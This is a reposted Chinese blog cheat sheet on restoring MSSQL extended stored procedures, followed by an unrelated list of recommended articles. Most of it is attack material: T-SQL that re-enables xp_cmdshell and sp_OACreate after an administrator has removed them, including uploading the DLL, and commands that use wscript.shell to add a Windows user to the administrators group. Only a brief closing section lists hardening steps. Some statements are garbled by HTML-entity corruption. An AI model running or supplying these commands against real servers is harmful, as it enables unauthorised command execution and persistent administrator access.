某人收集的MSSQL扩展存储过程恢复方法—非常全面

作者：mobiledu2502860957 | 来源：互联网 | 2023-09-09 11:13

恢复sp_addextendedproc语句：createproceduresp_addextendedproc---1996083020:13functnamenv

恢复sp_addextendedproc语句&＃xff1a;
create procedure sp_addextendedproc --- 1996/08/30 20:13
&＃64;functname nvarchar(517),/* (owner.)name of function to call */
&＃64;dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if &＃64;&＃64;trancount > 0
begin
raiserror(15002,-1,-1,&＃39;sp_addextendedproc&＃39;
return (1)
end
dbcc addextendedproc( &＃64;functname, &＃64;dllname)
return (0) -- sp_addextendedproc
GO

xp_cmdshell新的恢复办法(不用去管sp_addextendedproc是不是存在)

删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc &＃39;xp_cmdshell&＃39;

恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll"
dbcc addextendedproc ("xp_cmdshell","xplog70.dll"

1.未能找到存储过程&＃39;master..xpcmdshell&＃39;之解决方法&＃xff1a;

EXEC sp_addextendedproc xp_cmdshell,&＃64;dllname &＃61;&＃39;xplog70.dll&＃39;declare &＃64;o int
sp_addextendedproc &＃39;xp_cmdshell&＃39;, &＃39;xpsql70.dll&＃39;

2.无法装载DLL xpsql70.dll或该DLL所引用的某一DLL。原因126(找不到指定模块。)

sp_dropextendedproc "xp_cmdshell"
sp_addextendedproc &＃39;xp_cmdshell&＃39;, &＃39;xpsql70.dll&＃39;

3.无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

exec sp_dropextendedproc &＃39;xp_cmdshell&＃39;
exec sp_addextendedproc &＃39;xp_cmdshell&＃39;,&＃39;xpweb70.dll&＃39;

4.直接添加帐户法

删除odsole70.dll&＃xff1a;

exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate

恢复odsole70.dll&＃xff1a;

exec sp_addextendedproc sp_OAMethod,&＃39;odsole70.dll&＃39;
exec sp_addextendedproc sp_OACreate,&＃39;odsole70.dll&＃39;

直接添加帐户命令&＃xff1a;

declare &＃64;shell int exec sp_oacreate &＃39;wscript.shell&＃39;,&＃64;shell output
exec sp_oamethod
&＃64;shell,&＃39;run&＃39;,null,&＃39;c:\windows\system32\cmd.exe /c net user 用户名密码 /add&＃39;

declare &＃64;shell int exec sp_oacreate &＃39;wscript.shell&＃39;,&＃64;shell output exec sp_oamethod &＃64;shell,&＃39;run&＃39;,null,&＃39;c:\windows\system32\cmd.exe/c net localgroup administrators 用户名 /add&＃39;

5.恢复时一些常用的SQL语句&＃xff1a;

利用sp_addextendedproc恢复大部分常用存储扩展(得先利用最顶上的语句恢复自己)&＃xff1a;
use master
exec sp_addextendedproc xp_cmdshell,&＃39;xp_cmdshell.dll&＃39;
exec sp_addextendedproc xp_dirtree,&＃39;xpstar.dll&＃39;
exec sp_addextendedproc xp_enumgroups,&＃39;xplog70.dll&＃39;
exec sp_addextendedproc xp_fixeddrives,&＃39;xpstar.dll&＃39;
exec sp_addextendedproc xp_loginconfig,&＃39;xplog70.dll&＃39;
exec sp_addextendedproc xp_enumerrorlogs,&＃39;xpstar.dll&＃39;
exec sp_addextendedproc xp_getfiledetails,&＃39;xpstar.dll&＃39;
exec sp_addextendedproc sp_OACreate,&＃39;odsole70.dll&＃39;
exec sp_addextendedproc sp_OADestroy,&＃39;odsole70.dll&＃39;
exec sp_addextendedproc sp_OAGetErrorInfo,&＃39;odsole70.dll&＃39;
exec sp_addextendedproc sp_OAGetProperty,&＃39;odsole70.dll&＃39;
exec sp_addextendedproc sp_OAMethod,&＃39;odsole70.dll&＃39;
exec sp_addextendedproc sp_OASetProperty,&＃39;odsole70.dll&＃39;
exec sp_addextendedproc sp_OAStop,&＃39;odsole70.dll&＃39;
exec sp_addextendedproc xp_regaddmultistring,&＃39;xpstar.dll&＃39;
exec sp_addextendedproc xp_regdeletekey,&＃39;xpstar.dll&＃39;
exec sp_addextendedproc xp_regdeletevalue,&＃39;xpstar.dll&＃39;
exec sp_addextendedproc xp_regenumvalues,&＃39;xpstar.dll&＃39;
exec sp_addextendedproc xp_regread,&＃39;xpstar.dll&＃39;
exec sp_addextendedproc xp_regremovemultistring,&＃39;xpstar.dll&＃39;
exec sp_addextendedproc xp_regwrite,&＃39;xpstar.dll&＃39;
exec sp_addextendedproc xp_availablemedia,&＃39;xpstar.dll&＃39;

恢复cmdshell&＃xff1a;exec sp_addextendedproc xp_cmdshell ,&＃64;dllname &＃61;&＃39;xplog70.dll&＃39;

判断存储扩展是否存在(返回结果为1就ok)&＃xff1a;
select count(*) from master.dbo.sysobjects where xtype&＃61;&＃39;x&＃39; and name&＃61;&＃39;xp_cmdshell&＃39;

恢复xp_cmdshell(返回结果为1就ok)&＃xff1a;
exec master.dbo.addextendedproc &＃39;xp_cmdshell&＃39;,&＃39;xplog70.dll&＃39;;select count(*) from master.dbo.
sysobjectswhere xtype&＃61;&＃39;x&＃39; and name&＃61;&＃39;xp_cmdshell&＃39;

否则上传xplog7.0.dll&＃xff1a;
exec master.dbo.addextendedproc &＃39;xp_cmdshell&＃39;,&＃39;c:\winnt\system32\xplog70.dll&＃39;

***************************************以下为防范时用********************************************
1.删除所有危险扩展&＃xff1a;
Drop PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
Drop PROCEDURE sp_addextendedproc

2.删除xp_cmdshell扩展&＃xff1a;sp_dropextendedproc &＃39;xp_cmdshell&＃39;

3.修补sa弱口令&＃xff1a;exec sp_password NULL,&＃39;新密码&＃39;,&＃39;sa&＃39;

转:https://blog.51cto.com/kaiserwu/1062843

推荐阅读

go
CSS3选择器的使用方法详解，提高Web开发效率和精准度

本文详细介绍了CSS3新增的选择器方法，包括属性选择器的使用。通过CSS3选择器，可以提高Web开发的效率和精准度，使得查找元素更加方便和快捷。同时，本文还对属性选择器的各种用法进行了详细解释，并给出了相应的代码示例。通过学习本文，读者可以更好地掌握CSS3选择器的使用方法，提升自己的Web开发能力。 ... [详细]

蜡笔小新 2023-12-14 14:37:52
format
【机器学习】生成式对抗网络模型综述

生成式对抗网络模型综述摘要生成式对抗网络模型(GAN)是基于深度学习的一种强大的生成模型，可以应用于计算机视觉、自然语言处理、半监督学习等重要领域。生成式对抗网络 ... [详细]

蜡笔小新 2023-12-14 17:51:18
go
知识图谱——机器大脑中的知识库

本文介绍了知识图谱在机器大脑中的应用，以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例，说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案，如搜索关键词"Marie Curie"，会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革，不仅美国的微软必应，中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]

蜡笔小新 2023-12-14 10:06:19
perl
Perl的测试框架Test::Base简介及使用方法

本文介绍了Perl的测试框架Test::Base，它是一个数据驱动的测试框架，可以自动进行单元测试，省去手工编写测试程序的麻烦。与Test::More完全兼容，使用方法简单。以plural函数为例，展示了Test::Base的使用方法。 ... [详细]

蜡笔小新 2023-12-13 20:05:31
require
CF：3D City Model（小思维）问题解析和代码实现

本文通过解析CF：3D City Model问题，介绍了问题的背景和要求，并给出了相应的代码实现。该问题涉及到在一个矩形的网格上建造城市的情景，每个网格单元可以作为建筑的基础，建筑由多个立方体叠加而成。文章详细讲解了问题的解决思路，并给出了相应的代码实现供读者参考。 ... [详细]

蜡笔小新 2023-12-13 14:17:11
go
使用FLASK REST API的机器学习模型

在本教程中，我们将看到如何使用FLASK制作第一个用于机器学习模型的RESTAPI。我们将从创建机器学习模型开始。然后，我们将看到使用Flask创建AP ... [详细]

蜡笔小新 2023-10-17 19:13:12
go
引号快捷键_首选项和设置——自定义快捷键

3.3自定义快捷键（CustomizingHotkeys）ChemDraw快捷键由一个XML文件定义，我们可以根据自己的需要， ... [详细]

蜡笔小新 2023-10-17 19:10:46
format
VScode格式化文档换行或不换行的设置方法

本文介绍了在VScode中设置格式化文档换行或不换行的方法，包括使用插件和修改settings.json文件的内容。详细步骤为：找到settings.json文件，将其中的代码替换为指定的代码。 ... [详细]

蜡笔小新 2023-12-14 17:15:38
require
伊振华作品 | 沈阳市智慧城市运行管理中心的设计与建设

本文介绍了设计师伊振华受邀参与沈阳市智慧城市运行管理中心项目的整体设计，并以数字赋能和创新驱动高质量发展的理念，建设了集成、智慧、高效的一体化城市综合管理平台，促进了城市的数字化转型。该中心被称为当代城市的智能心脏，为沈阳市的智慧城市建设做出了重要贡献。 ... [详细]

蜡笔小新 2023-12-14 16:35:39
go
在Windows 8上安装gvim中的插件的错误加载问题

本文讨论了在Windows 8上安装gvim中插件时出现的错误加载问题。作者将EasyMotion插件放在了正确的位置，但加载时却出现了错误。作者提供了下载链接和之前放置插件的位置，并列出了出现的错误信息。 ... [详细]

蜡笔小新 2023-12-14 14:44:00
go
推荐系统遇上深度学习(十七）详解推荐系统中的常用评测指标

原创：石晓文小小挖掘机2018-06-18笔者是一个痴迷于挖掘数据中的价值的学习人，希望在平日的工作学习中，挖掘数据的价值， ... [详细]

蜡笔小新 2023-12-13 19:35:25
go
Python正则表达式学习记录及常用方法

本文记录了学习Python正则表达式的过程，介绍了re模块的常用方法re.search，并解释了rawstring的作用。正则表达式是一种方便检查字符串匹配模式的工具，通过本文的学习可以掌握Python中使用正则表达式的基本方法。 ... [详细]

蜡笔小新 2023-12-13 16:37:19
go
asp.net页面生存周期

①页面初始化----------收到客户端的请求,产生相应页面的Page对象,通过Page_Init事件进行page对象及其控件的初始化.②加载视图状态-------ViewSta ... [详细]

蜡笔小新 2023-10-17 18:48:34
config
[Windows]_[网络]_[浏览器无法访问网站DNS_PROBE_POSSIBLE]

场景1.IE,Firefox浏览器访问不了网站,谷歌浏览器可以,返回错误码DNS_PROBE_POSSIBLE.2.pingwww.qq.com可以ping通,ping局域 ... [详细]

蜡笔小新 2023-10-17 17:55:37
php
浅解XXE与Portswigger Web Sec

XXE与PortswiggerWebSec相关链接：博客园安全脉搏FreeBufXML的全称为XML外部实体注入，在学习的过程中发现有回显的XXE并不多，而 ... [详细]

蜡笔小新 2023-10-17 16:52:48

mobiledu2502860957

这个家伙很懒，什么也没留下！

Tags | 热门标签

RankList | 热门文章